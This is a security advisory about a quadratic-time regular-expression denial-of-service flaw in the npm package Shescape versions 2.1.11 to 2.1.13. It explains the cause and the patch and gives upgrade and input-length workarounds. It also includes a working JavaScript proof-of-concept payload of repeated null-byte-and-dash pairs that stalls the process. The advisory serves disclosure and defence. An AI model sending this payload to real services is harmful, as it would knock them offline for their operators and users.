highJul 24, 2026

Shescape: Quadratic-Time Denial of Service in Flag Protection

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted input string fed to any Shescape escape or quote function causes the flag-protection logic to run in quadratic time, letting an attacker freeze a Node.js server with a moderately large…

Packageshescape
Ecosystemnpm
Affected>= 2.1.11, < 2.1.14
Fixed in2.1.14
Shescape: Quadratic-Time Denial of Service in Flag Protection

The problem

Shescape versions 2.1.11 through 2.1.13 include a flag-protection feature that is enabled by default. That feature uses a regular expression to detect and neutralize leading dash prefixes that could be interpreted as CLI flags.

The regex has quadratic (O(n²)) complexity when the input contains repeated null-byte-plus-dash sequences. An attacker who can supply input to any of escape, escapeAll, quote, or quoteAll can cause the Node.js process to stall for tens of seconds with an input of roughly 64,000 characters, amounting to a denial of service.

Proof of concept

A working proof-of-concept for this issue in shescape, with the exact payload below.

javascript
import { Shescape } from "shescape";

// flagProtection is true by default, no special config needed
const shescape = new Shescape();

// 64 000 chars; each \u0000- pair drives quadratic regex backtracking
const payload = "\u0000-".repeat(32000);

const t0 = process.hrtime.bigint();
shescape.escape(payload);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

console.log("Duration ms:", ms); // ~20 000 ms on an unpatched build

The flag-protection path in the vulnerable versions strips leading dash/slash prefixes by repeatedly applying a regex over the input string. The pattern catastrophically backtracks when the input mixes null bytes (U+0000) and dashes, because the alternation inside the regex re-attempts partial matches at every character position, producing O(n²) work.

The patch (commits b4b34c3 for v2, 43d70b5 for v3) rewrites the prefix-stripping logic to use a linear string scan instead of a backtracking-capable regex. After the fix, runtime scales linearly with input length regardless of content.

The fix

Upgrade to shescape v2.1.14 (or v3.0.1 if already on v3). If upgrading immediately is not possible, enforce a maximum input length before calling any Shescape function, or strip all content before the last dash in untrusted input. Note that v2 reaches end-of-life on 2026-09-28, so migrating to v3 is recommended.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research